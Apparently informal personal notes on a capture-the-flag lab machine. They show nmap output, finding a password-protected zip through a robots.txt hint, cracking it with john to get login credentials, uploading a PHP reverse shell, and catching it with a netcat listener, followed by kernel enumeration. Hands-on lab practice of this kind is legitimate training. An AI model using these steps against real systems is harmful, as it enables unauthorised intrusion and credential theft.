nmap
┌──(root㉿kali)-[~/boxes/driftingblues6]
└─# nmap -sC -sV -p- -A 192.168.241.219
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 19:13 EDT
Nmap scan report for 192.168.241.219
Host is up (0.047s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: driftingblues
| http-robots.txt: 1 disallowed entry
|_/textpattern/textpattern
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/13%OT=80%CT=1%CU=39575%PV=Y%DS=4%DC=T%G=Y%TM=666B
OS:7D4C%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10D%TI=Z%II=I%TS=8)OPS(O1
OS:=M551ST11NW4%O2=M551ST11NW4%O3=M551NNT11NW4%O4=M551ST11NW4%O5=M551ST11NW
OS:4%O6=M551ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3890)ECN(R=
OS:Y%DF=Y%T=40%W=3908%O=M551NNSNW4%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%R
OS:D=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q
OS:=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=
OS:7DD6%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 4 hops
TRACEROUTE (using port 143/tcp)
HOP RTT ADDRESS
1 47.53 ms 192.168.45.1
2 47.51 ms 192.168.45.254
3 47.93 ms 192.168.251.1
4 47.98 ms 192.168.241.219
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.16 seconds
only have port 80 open... interesting. no ssh here, we're probably going to have some form of webapp vuln to attack
User-agent: *
Disallow: /textpattern/textpattern
dont forget to add .zip extension to your dir-brute
;)
cheeky fuck
http://192.168.241.219/textpattern
http://192.168.241.219/textpattern/README
Tag error: <txp:permlink /> -> Warning: strftime(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. while parsing form default on page default

interesting, it hung for awhile and eventually loaded with this. im not sure this is an intended feature of the box

we have a CMS version number, this might be handy: 
need auth tho, still running scans because robots.txt suggested we should be scanning for .zip - and haven't really found any .zip directories. ferox has been fucking me lately (probably pebcak) so we're using ffuf atm to try and find some .zip files somewhere
found the actual login page this time tho http://192.168.241.219/textpattern/textpattern/

**** YOU ARE A DUMBASS QUIT GOING TOO FAR AHEAD OF YOURSELF
anyway getting creds was pretty easy, get spammer.zip in the root directory of the web application
http://192.168.241.219/spammer.zip
we use zip2john to get a hash for the zip file
┌──(root㉿kali)-[~/boxes/driftingblues6]
└─# zip2john ~/Downloads/s.zip > zipp.txt
ver 2.0 s.zip/creds.txt PKZIP Encr: cmplen=27, decmplen=15, crc=B003611D ts=ADCB cs=b003 type=0
┌──(root㉿kali)-[~/boxes/driftingblues6]
└─# cat zipp.txt
s.zip/creds.txt:$pkzip$1*1*2*0*1b*f*b003611d*0*27*0*1b*b003*2d41804a5ea9a60b1769d045bfb94c71382b2e5febf63bda08a56c*$/pkzip$:creds.txt:s.zip::/root/Downloads/s.zip
┌──(root㉿kali)-[~/boxes/driftingblues6]
└─# john zipp.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
myspace4 (s.zip/creds.txt)
1g 0:00:00:00 DONE 2/3 (2024-06-13 19:41) 100.0g/s 9895Kp/s 9895Kc/s 9895KC/s charlie9..ship4
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
use myspace4 for password and get creds:
┌──(root㉿kali)-[~/boxes/driftingblues6]
└─# cat ~/Downloads/creds.txt > creds.txt
┌──(root㉿kali)-[~/boxes/driftingblues6]
└─# cat creds.txt
mayer:lionheart
great, we have stuff!
wait we already searched searchsploit and found a RCE vuln for this version of the CMS, so this should be relatively easy
this shit didnt work so we're going to just upload a reverse shell
┌──(root㉿kali)-[~/boxes/driftingblues6/php-reverse-shell]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.45.152] from (UNKNOWN) [192.168.241.219] 39207
$ cat /etc/*-release
PRETTY_NAME="Debian GNU/Linux 7 (wheezy)"
NAME="Debian GNU/Linux"
VERSION_ID="7"
VERSION="7 (wheezy)"
ID=debian
ANSI_COLOR="1;31"
HOME_URL="http://www.debian.org/"
SUPPORT_URL="http://www.debian.org/support/"
BUG_REPORT_URL="http://bugs.debian.org/"
╔══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits
Linux version 3.2.0-4-amd64 (debian-kernel@lists.debian.org) (gcc version 4.6.3 (Debian 4.6.3-14) ) #1 SMP Debian 3.2.78-1
lessons learned from this box - If the kernel version output in linpeas is red, there's probably a pretty good chance that the kernel is vulnerable to some kernel exploit and you should check it out. or at least cross-reference the kernel to the exploit and see whattup with it shawty